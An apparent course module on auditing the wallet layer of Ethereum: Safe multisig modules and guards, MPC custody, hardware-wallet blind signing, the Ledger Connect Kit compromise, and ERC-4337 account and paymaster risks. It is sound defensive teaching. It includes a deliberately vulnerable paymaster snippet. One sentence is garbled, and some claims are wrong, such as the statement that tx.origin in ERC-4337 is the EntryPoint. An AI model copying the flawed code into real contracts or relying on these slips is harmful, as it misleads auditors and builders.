Week 12 — Wallet, Account Abstraction & Key Management

“You can audit the contract until the cursor blinks at you and still lose every dollar in it, because the contract is not where end users live. Users live in the wallet — and the wallet is a UI, a key store, a signing oracle, a JS bundle, and an unaudited library all wired together. Most ‘smart-contract’ exploits of the last three years did not break a contract; they broke the path between a human and the signature that contract was waiting for. This week we audit that path.”

Tags: web3-security wallet account-abstraction erc-4337 eip-7702 key-management signature-phishing safe mpc hardware-wallet Learner: Past Tuan-05-Vulnerability-Classes-Part-1, Tuan-08-DeFi-Security-AMM-Lending-Vault, Tuan-11-L2-Rollup-Modular-Security → ready to extend audit scope beyond the contract boundary Time: 7 days (5–6 h/day) Related: Tuan-01-Web3-Blockchain-Crypto-Fundamentals · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-13-Frontend-dApp-Infrastructure · Tuan-14-Governance-DAO-Security · Case-Parity-Multisig-2017 · Case-BadgerDAO-Frontend-2021 · Case-Radiant-Capital-2024


1. Context & Why

1.1 The auditor’s reframe — “the wallet layer is where users live”

Smart-contract auditing started as a contract-only discipline because the first wave of DeFi attacks was contract-only (DAO 2016, Parity 2017, bZx 2020). That phase is over. By volume of dollars lost in 2023–2025, the dominant attack surface is not the contract — it’s the path between the human and the signature. Drainer kits stole ~53M) compromised hardware wallets via developer-machine malware while every contract behaved exactly as audited. The Ledger Connect Kit incident of December 2023 ($600K direct, dozens of integrating dApps’ users at risk) was a supply-chain compromise of a signing library, not a contract.

So the auditor’s mental model expands. From Week 1’s trust-seam diagram, this week zooms into the wallet seam — the box between “user intent” and “signed EIP-712 / signed transaction”. For every component in that box we ask:

  1. What does the user think they signed?
  2. What did the wallet actually serialize?
  3. Who controlled the bytes the wallet showed the user?
  4. What recourse exists if any of (1–3) was a lie?

Most of the rest of this week is a vocabulary for answering those four questions across EOAs, Safe multisigs, MPC custody, hardware wallets, ERC-4337 smart accounts, and EIP-7702-delegated EOAs.

1.2 What you’ll be able to do by Friday

  • Distinguish EOA, contract account, and EIP-7702-delegated EOA, and state the trust assumption each makes.
  • Review a Safe multisig deployment for owner-set hygiene, threshold sanity, module audit posture, and guard presence.
  • Trace a UserOperation end-to-end (Bundler → EntryPoint → account.validateUserOp → execution) and identify three storage-access-rule violations an attacker could exploit.
  • Explain how EIP-7702 changes the threat model for EOAs and identify three new attack vectors it introduces.
  • Build a permit/Permit2 phishing PoC and demonstrate the wallet-side mitigations (EIP-712 rendering, simulation, allowance review).
  • Critique an MPC custody architecture for share-rotation hygiene, ceremony integrity, and backend trust assumptions.
  • Run a hardware-wallet supply-chain risk review (Ledger Connect Kit lessons applied).

1.3 Primary references

SourceURLStatus
ERC-4337 — Account Abstraction Using Alt Mempoolhttps://eips.ethereum.org/EIPS/eip-4337Last Call (May 2026 deadline) [verify]
ERC-7562 — AA Validation Scope Ruleshttps://eips.ethereum.org/EIPS/eip-7562Final; codifies bundler enforcement of storage/opcode rules
EIP-7702 — Set Code for EOAshttps://eips.ethereum.org/EIPS/eip-7702Live on mainnet via Pectra (May 7, 2025) [verify]
EIP-1271 — Standard Signature Validation for Contractshttps://eips.ethereum.org/EIPS/eip-1271Final
EIP-6492 — Counterfactual Signature Validationhttps://eips.ethereum.org/EIPS/eip-6492Final
EIP-712 — Typed-Data Signinghttps://eips.ethereum.org/EIPS/eip-712Final (review from Tuan-05-Vulnerability-Classes-Part-1)
EIP-2612 — permithttps://eips.ethereum.org/EIPS/eip-2612Final
ERC-7579 — Minimal Modular Smart Accountshttps://eips.ethereum.org/EIPS/eip-7579Final (2024); used by Safe, ZeroDev, Biconomy, Rhinestone, OZ
ERC-6900 — Modular Account Plugin Standardhttps://erc6900.io/Active; Alchemy Modular Account v2
Safe Docs (modules, guards, signing flow)https://docs.safe.global/Current
eth-infinitism reference implhttps://github.com/eth-infinitism/account-abstractionReference; mirror EntryPoint v0.7+/v0.8
Vitalik — Why we need wide adoption of social recovery walletshttps://vitalik.eth.limo/general/2021/01/11/recovery.html2021 essay; still the canonical recovery argument
Vitalik — Account abstraction roadmaphttps://notes.ethereum.org/@vbuterin/account_abstraction_roadmap (mirror)Roadmap thinking
SlowMist — Ledger Connect Kit incidenthttps://slowmist.medium.com/supply-chain-attack-on-ledger-connect-kit-Dec 2023 post-mortem
Scam Sniffer 2024 annual phishing reporthttps://drainreport.scamsniffer.io/ [verify URL]Drainer telemetry
Halborn — Radiant Capital Oct 2024 explainerhttps://www.halborn.com/blog/post/explained-the-radiant-capital-hack-october-2024Multisig-via-malware case
Fireblocks — MPC architecturehttps://www.fireblocks.com/report/what-is-mpcVendor source; cross-check claims
Rabby simulation docs / Blockaid integrationhttps://rabby.io · https://www.blockaid.io/Current tx-simulation references
Revoke.cashhttps://revoke.cash/Approval-audit workflow tool

2. EOA vs Smart Wallet vs Delegated-EOA — the three account types you’ll audit

2.1 The pre-Pectra dichotomy (and why it was insufficient)

Before May 2025, every Ethereum account was one of two things, and they had no overlap:

EOAContract account
Controlled byOne private keyCode
Can initiate a transactionYes (signs and broadcasts)No (must be invoked)
Has codeNoYes
tx.originThis accountAn EOA upstream
Recovery if key is lostNoneWhatever the code allows
Gas paid bySelf onlyWhoever the EOA upstream paid
Signature schemesecp256k1 ECDSA, fixedWhatever isValidSignature decides

This binary was a security disaster for end users. The key/code dichotomy meant:

  • EOA users got irrevocable single-key control with zero recovery options. Lose your seed, lose your funds, period.
  • Smart-wallet users got rich features (multisig, social recovery, session keys, batched calls) — but couldn’t originate transactions, so they needed a relayer (a separate trust assumption) or to wrap everything through an EOA anyway.

ERC-4337 (live on mainnet since March 2023) gave smart wallets a transaction-origination mechanism without a hard fork: a separate “UserOp” pipeline with its own mempool. EIP-7702 (live on mainnet since the Pectra fork, May 7, 2025 [verify]) closed the loop the other way: it lets a normal EOA temporarily delegate to contract code, so an EOA can act like a smart wallet for the duration of a transaction. The result is three account types you have to audit, not two.

2.2 The three-account taxonomy (post-Pectra)

flowchart TD
  subgraph EOA[Classic EOA]
    K1[secp256k1 key]
  end
  subgraph CA[Smart Contract Account]
    C1[Solidity / Vyper code]
    C2[Owner / threshold / modules]
  end
  subgraph DEOA[EIP-7702 Delegated EOA]
    K2[secp256k1 key]
    D[Delegation pointer<br>0xef0100 || addr]
    C3[Contract code at addr]
  end

  K1 -.signs tx.-> EVM
  C1 -.invoked via.-> ERC4337[ERC-4337 UserOp]
  C1 -.invoked via.-> EOA
  K2 -.signs tx OR signs auth.-> EVM
  D --> C3
  EVM --> DEOA

Audit implications of the three types:

TraitClassic EOASmart Account (e.g., Safe, 4337)EIP-7702 Delegated EOA
Key compromise = full lossYes (always)Depends on owner set & modulesYes (key signs delegations)
Code compromise can drainN/AYes — code bugs are catastrophicYes — delegated code runs in EOA’s storage context
Can use session keys / 1271 sigsNoYesYes (via delegated code)
Tx batchingNoYesYes
Gas sponsorshipNo (must hold ETH)Yes (Paymaster)Yes (sponsor in 7702 tx)
tx.origin == msg.sender heuristicReliableBroken (msg.sender = entrypoint or self)Broken (delegate runs in EOA’s address)
RecoverabilityNoneYes if module installedLimited — key still authoritative
Address persists across migrationsYesYesYes
Code can change without changing addressNoYes (via upgrade or factory re-deploy)Yes (re-sign authorization to different target)

The third column is the most dangerous one for an auditor because it inherits the worst of both worlds: the single-key liability of an EOA plus the code-can-misbehave liability of a smart account. We will come back to 7702 in §6.

2.3 Why tx.origin == msg.sender is now structurally dead

Week 01 noted that tx.origin is the EOA that initiated the tx, and that the tx.origin == msg.sender idiom was the canonical “are you a contract?” check. Three account types break this:

  1. Smart account (4337): tx.origin is the EntryPoint singleton; msg.sender is the user’s account contract. They are never equal.
  2. Smart account (direct, e.g., Safe relayer): tx.origin is whatever EOA relayed the execTransaction call; msg.sender from the perspective of the call target is the Safe. They are never equal.
  3. EIP-7702 delegated EOA: tx.origin is the EOA itself; msg.sender from the target’s view is also the EOA (because the delegated code runs as the EOA). They are equal — but the calling account is a contract!

Audit rule: any contract using require(tx.origin == msg.sender, "EOA only") is hostile to AA users and ineffective against EIP-7702 attackers. Use ERC-1271 / SignatureChecker (from Tuan-05-Vulnerability-Classes-Part-1 §6.6) and explicit allowlists instead.


3. Safe (formerly Gnosis Safe) — the dominant production multisig

3.1 Why Safe matters

Safe holds the lion’s share of DAO and protocol treasuries on EVM chains. The MakerDAO core multisig, the Uniswap treasury, the Optimism Foundation operating address, most major DeFi project upgrade keys — all Safes. If you audit a protocol, you will at some point audit a Safe deployment as part of the in-scope trust model.

Safe’s design is intentionally minimal: it is a multisig with two extension points (modules, guards) and an off-chain signing flow. Everything fancy lives in modules/guards or in tooling. The core is small and well-audited.

3.2 Owner set + threshold

A Safe is parametrized by (owners: address[], threshold: uint256). owners is the list of EOAs (or contracts via 1271) authorized to sign; threshold is the m of m-of-n.

// simplified; real Safe stores owners as a linked list for cheap add/remove
mapping(address => address) internal owners;   // owner => next owner
uint256 internal ownerCount;
uint256 internal threshold;

Audit angles on the owner set:

SmellWhy it’s badRemediation
threshold == 1Single signer. Any one compromised owner drains the Safe.Raise to ceil(n/2) + 1 for treasuries; n for emergency keys
threshold == n (unanimous)Single offline signer freezes the Safe. Also reveals every signer to every drain attempt.Set to majority, not unanimous
Owners on the same deviceDefeats the multisig’s whole purpose; one piece of malware = threshold signaturesDistinct hardware wallets, distinct geographies, distinct OSes
Owners are all in the same Slack workspaceCoercion / social-engineering correlationMix of geographies and orgs
Owners use the same seed phrase across different “addresses”One seed compromise = all “different” signers compromisedIndependent seeds
Single-purpose Safe with no spending-limit moduleA drain is all-or-nothingUse Allowance Module or per-action guards
nonce not monitoredReorg / failed-tx races and replay attempts go unnoticedForta / Tenderly alerts on nonce drift

Radiant Capital [verify post-mortem] is the worst-case crystallization of multiple of these: 3-of-11 threshold on a $300M+ TVL protocol; signers’ developer machines compromised by malware (UNC4736 / Lazarus); Ledger blind-signing of Safe transactions because Ledger does not natively render Safe execTransaction calldata. Three machines were owned — three signatures collected — drain executed.

3.3 Modules — the audit angle people miss

A module is a contract that has been granted permission (by an existing threshold-meeting transaction) to call execTransactionFromModule on the Safe. From that moment, the module can move Safe funds without any owner signature.

// Conceptual: Safe core
function execTransactionFromModule(
    address to, uint256 value, bytes calldata data, Enum.Operation op
) external returns (bool success) {
    require(modules[msg.sender] != address(0), "not a module");
    success = execute(to, value, data, op, gasleft());
    // No threshold check, no signature check
}

Implications:

  1. A malicious module = full control of the Safe. Anyone who can get a module added (via a routine governance vote, via a phishing tx the owners sign, via a guard misconfiguration that doesn’t block module-add) can drain.
  2. For Safe versions ≤ 1.4.1, module-originated transactions bypass guards [verify version]. Even if you installed a guard to enforce spending limits, a module can move funds without the guard ever running. This is by design — guards apply to execTransaction, not execTransactionFromModule. The fix is module guards (added in newer Safe versions / via ZodiacRoles, etc.).
  3. Module upgrade is a backdoor. Many modules are upgradeable (a proxy with admin). The module’s admin can rewrite the module’s logic without the Safe owners signing anything new, because the existing module address is still authorized.

Audit checklist for modules:

  • Enumerate every enabled module (getModulesPaginated).
  • For each module: read its code; identify its authorization model (does it have an owner? Is the owner the Safe itself, an EOA, or a contract?).
  • If a module is upgradeable, trace the upgrade authority. An EOA admin on an upgradeable module is equivalent to that EOA being a 1-of-1 signer on the Safe.
  • Verify Safe version vs module-bypasses-guard behavior.
  • Common modules to recognize on sight: Allowance Module (per-token spending limits), Roles Modifier (Zodiac) (role-based ABI permissions), Reality Module (Snapshot → on-chain execution via UMA), Delay Module (timelock on Safe txs), Recovery Module (social recovery / guardian sets).

3.4 Guards — pre/post hooks

A guard is a contract that gets called before (checkTransaction) and after (checkAfterExecution) each execTransaction. It can revert to block transactions.

interface IGuard {
    function checkTransaction(
        address to, uint256 value, bytes calldata data, Enum.Operation op,
        uint256 safeTxGas, uint256 baseGas, uint256 gasPrice,
        address gasToken, address payable refundReceiver,
        bytes calldata signatures, address msgSender
    ) external;
    function checkAfterExecution(bytes32 txHash, bool success) external;
}

Use cases: spending limits, blocklisted tokens/destinations, MEV protection, time windows, cosigner attestation.

Guard hazards:

  • A buggy guard can brick the Safe. If checkTransaction always reverts, no execTransaction will ever succeed. (The owners can still remove the guard via a Safe transaction — which goes through the guard. If the guard reverts on guard-removal too, the Safe is dead. There is an emergency setGuard(address(0)) path, but it must itself pass the guard pre-revert. Sherlock and Code4rena have multiple findings on Safe guards that lock the Safe forever after one veto.)
  • A guard implementing custom signature logic must be itself audited; it’s now part of the Safe’s TCB.
  • As noted, modules bypass guards in older Safe versions — so a “spending limit guard” gives a false sense of security if any module is installed.

Audit rule: an installed Safe guard should have its own audit report and a documented emergency-removal procedure (which should not itself depend on the guard letting it through).

3.5 The off-chain signing flow

Safe uses EIP-712 typed-data signing for off-chain signature collection, and a single on-chain execTransaction call that submits all collected signatures.

The signed payload is the SafeTx struct:

struct SafeTx {
    address to;
    uint256 value;
    bytes data;
    Enum.Operation operation;   // 0 = CALL, 1 = DELEGATECALL  <-- audit alarm
    uint256 safeTxGas;
    uint256 baseGas;
    uint256 gasPrice;
    address gasToken;
    address refundReceiver;
    uint256 nonce;              // Safe's own nonce, monotonic
}

The EIP-712 type hash binds: (name="GnosisSafe", version="1.X", chainId, verifyingContract=safeAddress). Replay protection comes from nonce (Safe-internal, increments on each successful execTransaction) + the chainId-binding domain separator.

Audit angles on the signing flow:

  • operation == 1 (DELEGATECALL) in a SafeTx is a huge red flag. It means the Safe will execute the target’s code in the Safe’s storage context. Many “MultiSend” patterns legitimately use this — but any signer reading a payload with operation: 1 must understand exactly what they’re authorizing. If a Safe owner blind-signs an operation: 1 SafeTx, they are authorizing arbitrary state writes to the Safe’s storage.
  • safeTxGas, baseGas, gasPrice, gasToken, refundReceiver are a refund-mechanism designed for meta-transactions. Most production Safes leave these zero. A nonzero refundReceiver or gasToken in a SafeTx the owners are signing is suspicious.
  • Signature packing: Safe accepts packed signatures of three forms: (a) standard ECDSA (r, s, v) with v ∈ {27, 28}; (b) EIP-1271 contract-signer with v == 0 and the signature pointing to a “smart-contract-signer’s signature blob”; (c) approved hash with v == 1 (pre-approved on-chain). The packing is order-sensitive — signatures must be sorted by signer address ascending. Audit any custom Safe-integration code that builds this packing.
  • Chain id: a SafeTx signed for one chain id is replay-safe on another because the domain separator depends on block.chainid. However, if a Safe is deployed at the same address on two chains via CREATE2 (very common), and the same owner set is configured, then a signer must check the chain id of the typed-data they sign. Most hardware wallets do not clearly display chain id for Safe signing. This is the Ledger blind-signing problem.

3.6 Recovery — Safe has no native recovery

Safe core has no built-in recovery for lost owner keys. Standard practice is to install a recovery module — a contract that, given some condition (guardian quorum, time delay, biometric verification, social attestation), can call addOwnerWithThreshold / removeOwner / swapOwner on the Safe.

Common patterns:

  • Sentinel/Zodiac Delay Module + a guardian Safe: the guardian Safe can submit “in 30 days, swap owner X for Y” to the main Safe; if no veto from the main Safe within the delay, the swap executes.
  • Social-recovery module: a list of guardians; threshold of guardians can replace owners. Closest to Vitalik’s “social recovery” essay design.
  • Inheritance modules (off the shelf in 2025): timelocks that activate if a deadman switch fires.

Audit angle: every recovery module is a bypass of the owner-set authority. Its threshold and guardian hygiene must be at least as strong as the main multisig’s. A 1-of-5 recovery module on a 5-of-7 main multisig is effectively a 1-of-5 multisig.


4. MPC wallets — moving from “key location” to “share location”

4.1 What MPC changes

In a classic key-stored-on-device wallet, the threat model is “where is the private key, and can it be stolen?” In an MPC (multi-party computation) wallet, the private key is never reconstructed in one place at any time. Instead, multiple parties hold shares, and they jointly compute a valid signature without anyone ever holding d.

Key tech families (high-level — see Tuan-Bonus-Threshold-Signatures if added):

  • TSS (threshold signature schemes): GG18, GG20, CMP, Lindell17, FROST. ECDSA-compatible variants produce one on-chain signature that is verifier-indistinguishable from a normal ECDSA sig (no on-chain reveal that m-of-n participated). Used by Fireblocks, ZenGo, Coinbase WaaS, Web3Auth, Particle.
  • SSS (Shamir secret sharing): splits a key for backup, reassembles before signing. Not technically MPC at sign time; many “MPC wallets” actually use SSS for backup + TSS for signing.
  • Smart-MPC mixes: Threshold key + on-chain policy contract.

Important framing: MPC does not eliminate single points of failure; it relocates them. The audit question becomes:

ClassicMPC
Where is the key?Where are the shares?
Who can copy the key?Who can collude across share holders?
What if the key file leaks?What if the share refresh ceremony is broken?
What if the user phishes their own key?What if the user phishes their own share retrieval (via a malicious frontend)?
Hardware tamper-resistance?Backend infrastructure compromise of one share provider?

4.2 The audit checklist for an MPC custody product

Take Fireblocks as the representative (similar applies to ZenGo, Coinbase Custody MPC, BitGo TSS, Liminal, Copper, etc.):

  • Key generation ceremony: was it done with n independent participants who demonstrably deleted any intermediate material? Is there an attestation? Did an external auditor witness it?
  • Share storage: are the shares stored in HSM / SGX / Nitro Enclave on each side? Or in plain cloud storage (one breach away from collusion-equivalent)?
  • Share rotation cadence: MPC’s killer feature is refresh — periodically the parties run a protocol that produces fresh shares for the same public key, invalidating any leaked share. Is rotation actually scheduled? Audit logs?
  • Transaction policy engine: most MPC custody products have a policy layer between the user and the signing. Auditing this is auditing a permission system: who can add whitelists, who can lower thresholds, what’s logged, what’s reversible?
  • Insider threat: the MPC vendor’s employees and infrastructure are now in the trust path. What’s their access control? Read the SOC 2 / ISO 27001 report; ask for exceptions not just the certification badge.
  • Quantum / future: ECDSA-based TSS will fall to a future quantum attack roughly when raw ECDSA does. Audit posture should track this as a long-horizon issue.
  • Recovery model: many MPC products have a “social recovery” or “vendor-assisted recovery” path that re-issues shares. That path is also a backdoor — audit it.

4.3 Real-world MPC incidents (sparse but informative)

MPC products have not had a big public draining incident with a cryptographic failure (as of 2025–early 2026). The incidents have been operational: insider compromise (Mixin Network 2023 — not strictly MPC but cloud key-storage compromise; see Case-Mixin-Network-2023), API-key compromise of a custody account, social engineering against the customer’s policy admin.

Audit takeaway: MPC moves the attack surface from “key extraction” to “operational compromise of the share holders or the policy engine”. That surface is bigger than it looks. Treat MPC vendors as if they were a 1-of-1 signer on your treasury until proven otherwise; check what they check.


5. Hardware wallets — what they protect against, and what they don’t

5.1 The threat model hardware wallets address

A hardware wallet (HW) is a small computer that:

  1. Stores a private key in tamper-resistant storage (secure element on Ledger, microcontroller on Trezor, SE on GridPlus, etc.).
  2. Performs signing operations on-device, exposing only the signature.
  3. Requires physical user confirmation (button, touchscreen) before signing.

What that protects against:

  • Malware on the connected computer reading the key — the key never leaves the device.
  • Remote attacker forging a signed transaction — they cannot sign without the device + user.

What it does not protect against:

  • Malware substituting the transaction content between the dApp and the device. The user sees what the device displays; if the device cannot decode the calldata into something human-readable, it displays the raw hex, and most users click confirm anyway. This is “blind signing”.
  • Supply-chain compromise of the device or the host library (Ledger Connect Kit Dec 2023; physical-supply-chain risk if device is bought from a non-authorized reseller).
  • Phishing-induced signing of legitimate-looking-but-malicious payloads (e.g., signing an approve(attacker, MAX)).

5.2 Blind signing vs clear signing

flowchart LR
  dApp[dApp / Safe UI] -->|raw tx bytes| Bridge[Connect Kit / WalletConnect]
  Bridge -->|raw tx bytes| HW[Hardware Wallet]
  HW -->|displays...| User{What does<br>user see?}
  User -->|opaque hex| Blind[Blind signing<br>'Sign 0xabc...123?']
  User -->|decoded fields| Clear[Clear signing<br>'permit USDC<br>amount: MAX<br>spender: 0xphisher']
  • Blind signing: the device shows raw bytes (or partial decoding like “ETH transfer of 0 ETH to 0xphisher”). User has no semantic visibility into what they’re authorizing. This is the default for any calldata the device doesn’t natively understand — including most ERC-712 typed-data unless the device has a specific JSON schema for that domain.
  • Clear signing: the device decodes the calldata or EIP-712 struct into human-readable fields (“Permit token X, spender Y, amount Z, deadline W”). This is the goal state. Ledger has been pushing “clear signing” for EIP-712 since 2023 with a registry of supported schemas; Trezor, GridPlus, Keystone follow similar approaches. Coverage is still partial — most dApps’ bespoke EIP-712 schemas are not in the registry, and the device falls back to blind.

Auditor’s question on every protocol that asks users to sign EIP-712: “Will a Ledger user actually see the meaningful fields, or will they see opaque hex?” If the latter, the protocol should publish a clear-signing schema and ship a UX that warns when the connected device can’t render it.

5.3 The Ledger Connect Kit incident (Dec 14, 2023)

The most-studied recent supply-chain attack on the wallet layer.

What happened [verify SlowMist / TechCrunch summaries]:

  1. A former Ledger employee was phished; their NPM account credentials were captured.
  2. Attacker published malicious versions 1.1.5, 1.1.6, 1.1.7 of @ledgerhq/connect-kit, the JS library many dApps use to integrate Ledger.
  3. Malicious code injected a DrainerPopup that intercepted users’ wallet connections and prompted them to sign drain transactions (often disguised as “verify your wallet” or routine approvals).
  4. Affected dApps included SushiSwap, Kyber, Revoke.cash (!), Zapper, and others — every dApp that pulled the package via a ^1.1.x or latest semver wildcard.
  5. Window of exposure ~5 hours; ~$600K drained before Ledger pushed a fix [verify].

Lessons (auditor’s perspective):

  • The Ledger device was not compromised. The library talking to the device was. The user’s signing prompt looked like a routine transaction; the device showed what the malicious code put in front of it.
  • Pinned versions are a security control. ^1.1.5 is not safe; 1.1.5 (exact) plus a hash check is. Most dApps did not pin.
  • The blast radius of a popular signing library is enormous. A single npm package can compromise hundreds of dApps simultaneously. This is the BadgerDAO Cloudflare Worker shape, generalized.
  • “Inferno” string was found in the drainer payload — same toolkit family that runs ~40% of drainer-as-a-service phishing volume in 2024 [verify Scam Sniffer].

5.4 Hardware wallet auditor’s checklist

  • Does the protocol’s signing UX require blind signing on common hardware wallets? If yes, recommend EIP-712 with a published schema.
  • If the protocol ships a Connect Kit / WalletConnect bridge / wallet adapter library — is the integrity of that library covered by the same supply-chain controls as the contracts (pinned versions, hashes, separate review)?
  • Does the protocol’s documentation address device compromise (e.g., “what to do if you signed something suspicious”)? Most don’t; this is a finding worth mentioning.
  • For protocols with admin keys: is the admin a hardware-wallet-backed Safe? Verify on-chain by looking up the Safe owners; chain-analyze the owners’ transaction histories for suspicious activity.

6. ERC-4337 — the smart-account stack you must audit

6.1 The pipeline at a glance

ERC-4337 introduces a parallel transaction pipeline for “UserOperations” without changing the consensus layer. The components:

flowchart LR
  User[User /<br>wallet UI] -->|signs UserOp| Bundler[Bundler<br>off-chain]
  Bundler -->|simulate| EthNode[ETH node<br>via eth_call]
  Bundler -->|handleOps| EntryPoint[EntryPoint<br>singleton]
  EntryPoint -->|create if needed| Factory[Account Factory]
  Factory -->|deploys| Account[Smart Account]
  EntryPoint -->|validateUserOp| Account
  EntryPoint -->|validatePaymasterUserOp| Paymaster[Paymaster]
  EntryPoint -->|execute| Account
  Account -.calls.-> Target[Target Contract]
  EntryPoint -->|postOp| Paymaster
  EntryPoint -->|refund| Bundler

Each box is something you audit.

6.2 The UserOperation structure (v0.7+)

struct PackedUserOperation {
    address sender;             // the smart account
    uint256 nonce;              // 192-bit key + 64-bit seq (allows parallel nonces)
    bytes initCode;             // factory + factoryData if account not yet deployed (else empty)
    bytes callData;             // what the account will execute
    bytes32 accountGasLimits;   // packed: verificationGasLimit | callGasLimit
    uint256 preVerificationGas;
    bytes32 gasFees;            // packed: maxPriorityFeePerGas | maxFeePerGas
    bytes paymasterAndData;     // empty if self-paying
    bytes signature;            // whatever the account's validation logic expects
}

(Older v0.6 used the unpacked UserOperation struct with verificationGasLimit, callGasLimit, maxFeePerGas, maxPriorityFeePerGas, paymaster, paymasterVerificationGasLimit, paymasterPostOpGasLimit, paymasterData, factory, factoryData, initCode separately. [verify which version your target protocol is on])

Audit-relevant fields:

  • sender: the account contract. Must already exist or initCode must deploy it.
  • nonce: 2D nonce. Allows multiple “parallel queues” of UserOps for the same account. An app issuing concurrent UserOps must understand the 192/64 split or it will get nonce-reuse reverts and lost ops.
  • callData: arbitrary calldata the account will execute after validation. Usually this calls execute(target, value, data) or executeBatch(targets, values, datas) on the account.
  • paymasterAndData: if nonempty, the first 20 bytes are the Paymaster address; the rest is opaque data the paymaster understands. The paymaster gets a chance to verify and stake gas for the op.
  • signature: whatever the account’s validateUserOp expects. ECDSA sig, multisig, ERC-1271, BLS, passkey/WebAuthn — totally up to the account.

6.3 EntryPoint — the one-and-only trusted contract

The EntryPoint is a singleton deployed once per chain (or per major version: v0.6, v0.7, v0.8). It is the one piece of the 4337 stack that protocols are expected to trust. It has been audited many, many times by major firms (OZ, Spearbit, ChainSecurity, etc.).

A user’s smart account trusts only one thing externally: that calls coming from msg.sender == entryPoint are legitimate. Conversely, the account refuses any externally-originated call to its validateUserOp and execute paths unless msg.sender == entryPoint.

Audit angle on the account side:

modifier onlyEntryPoint() {
    require(msg.sender == address(entryPoint), "not from EP");
    _;
}
 
function validateUserOp(
    PackedUserOperation calldata userOp,
    bytes32 userOpHash,
    uint256 missingAccountFunds
) external onlyEntryPoint returns (uint256 validationData) { ... }
 
function execute(address target, uint256 value, bytes calldata data)
    external onlyEntryPoint returns (bytes memory) { ... }

Forget the onlyEntryPoint modifier on execute, and anyone can call your smart account’s execute directly, bypassing all validation. This is a known common mistake — exists in the wild in early-stage account designs. Same applies to executeBatch, executeFromModule, etc.

6.4 Bundler + simulation + the validation/execution phase split

The bundler is the off-chain agent that collects UserOps from the alt-mempool, simulates them, packages them into a bundle, and calls EntryPoint.handleOps(bundle, beneficiary) as a normal Ethereum transaction.

The bundler must simulate each UserOp first to ensure it will pay gas. But simulation has a fundamental problem: the validation logic can depend on state that changes between simulation and execution. To bound this, ERC-4337 (formalized in ERC-7562) imposes storage and opcode rules on the validation phase.

Storage access rules (ERC-7562)

During validation, the account/paymaster may only access:

  1. Account’s own storage: sender’s slot A and slots derived as keccak256(A || x) + offset (offset ≤ 128). This covers normal Solidity layout: own slots and own mappings.
  2. Account ABI-level storage of associated entities (factory, paymaster) if those are staked.

Banned:

  • Reading another account’s storage during validation.
  • Storage opcodes that touch global state.
  • Opcodes whose values change between blocks: TIMESTAMP, NUMBER, COINBASE, PREVRANDAO, BLOCKHASH, BLOBHASH, DIFFICULTY.
  • BALANCE / SELFBALANCE (except for staked entities).
  • GAS opcode unless immediately followed by a CALL-family opcode.

Why this matters for security

Consider this naive paymaster:

// VULNERABLE — DO NOT USE
function validatePaymasterUserOp(PackedUserOperation calldata op, ...) external returns (...) {
    require(approved[op.sender], "not approved");          // ✓ OK, own storage
    require(block.timestamp < deadlines[op.sender], "expired");  // ✗ BANNED OPCODE
    require(usdcOracle.latestAnswer() > 1e6, "depeg");     // ✗ READS another contract's storage
    return ("", 0);
}

The bundler will refuse to include this UserOp (or, worse, will include it and have execution fail; either way the bundler’s reputation suffers and the op is throttled). Worse: an attacker can deliberately craft a UserOp whose validation passes simulation and fails execution, burning the bundler’s gas and tanking its reputation. This is the DoS-the-bundler attack class.

Reputation, stake, deposit

To bound DoS, ERC-4337 has three sub-mechanisms:

  • Deposit: ETH held by the EntryPoint on behalf of an account or paymaster, used to pay for the UserOp’s gas. Refundable, no lock.
  • Stake: additional ETH locked by paymasters/factories. Not slashed; gives the staker the right to access more state during validation (the “staked entities have relaxed restrictions” rule).
  • Reputation: tracked by the bundler. If your validation fails too often → throttled. Too much throttling → banned from that bundler’s mempool.

Audit angles on paymasters:

  • Does the paymaster solvency rely on storage outside the paymaster (e.g., reading an oracle)? If yes and unstaked → DoS-prone. If staked → the stake size must be large enough to discourage attacker-funded DoS.
  • Are the deadlines / approvals stored in such a way that a malicious user can flip them between simulation and execution? (E.g., a paymaster that approves based on a token balance — attacker drains the balance between sim and exec; paymaster ends up paying for an op it would not have approved.)
  • Does the paymaster’s postOp correctly clean up state? postOp runs after execution and can be called even if execution reverts. Mis-handled postOp is a known bug class.
  • Is the paymaster contract upgradeable? If yes, who’s the admin? (Same standard proxy-audit angle from Tuan-05-Vulnerability-Classes-Part-1 §4.)

6.5 Account factory — the deployment race

Many users have a deterministic future account address (computed via CREATE2 from (factory, salt, initCode)) but the account isn’t deployed until the first UserOp. The first UserOp carries initCode = factory ++ factoryData, and the EntryPoint calls the factory to deploy the account before validation.

Audit angles on factories:

  • CREATE2 frontrun: can an attacker deploy a different contract at the user’s deterministic address before the user’s first UserOp lands? In principle, if the factory uses (salt, initCode) and the attacker can replicate both, they can race-deploy. In practice, factories tie initCode to a user-specific public key, so the attacker would need the user’s public key (which is public on-chain only after the first signed tx… but for address = keccak(pubkey)[12:] users, the public key is derivable from any prior signature elsewhere). For users who have ever signed anything else, the public key is leaked, and CREATE2 squatting is possible if the factory doesn’t include other constraints. Mitigation: include the EntryPoint version or a chain id in the initCode.
  • Factory authorization model: who can call the factory? Permissioned vs permissionless? If permissionless, anyone can deploy an account for an arbitrary owner — usually harmless but worth confirming the owner is committed to within initCode.
  • Account self-destruct or upgrade: if the account’s logic contract is upgradeable, the factory’s “initial logic” is a soft default; the real audit object is the upgrade authority of the account.
  • Storage layout of the account: under proxy patterns (Tuan-05-Vulnerability-Classes-Part-1 §4–§5), an account’s storage layout must be append-only across upgrades. Bug here = mass account-storage corruption.

6.6 Plugin / module systems (ERC-7579 vs ERC-6900)

Modern smart accounts (Safe v4337, Biconomy Nexus, ZeroDev Kernel v3, Rhinestone modules, Alchemy Modular Account v2) support pluggable modules. There are two competing standards:

  • ERC-7579 (Final, 2024) — minimal modular smart account standard. Defines four module types: validator (validates UserOp signatures), executor (can execute calls on behalf of the account), fallback (handles unmapped function calls), hook (pre/post execution).
  • ERC-6900 (Active) — Alchemy-led; splits validation into validation-functions + pre-execution hooks with stricter ordering.

ERC-7579 has wider adoption (Safe, ZeroDev, Biconomy, Rhinestone, OpenZeppelin) [verify current state].

Audit angles on modular accounts:

  • Validator modules can authenticate UserOps with arbitrary signature schemes — passkeys, multisig, social recovery, etc. Each validator is as trusted as the account’s entire authentication system.
  • Executor modules can perform arbitrary calls. A malicious or buggy executor is the smart-account equivalent of a malicious Safe module (see §3.3). Audit each executor’s authorization model.
  • Fallback modules: a fallback module handles unmapped selectors. If poorly scoped, it can match selectors the auditor didn’t realize existed (e.g., ERC-1271 isValidSignature going through a fallback that always returns the magic value — auto-approving any signature!).
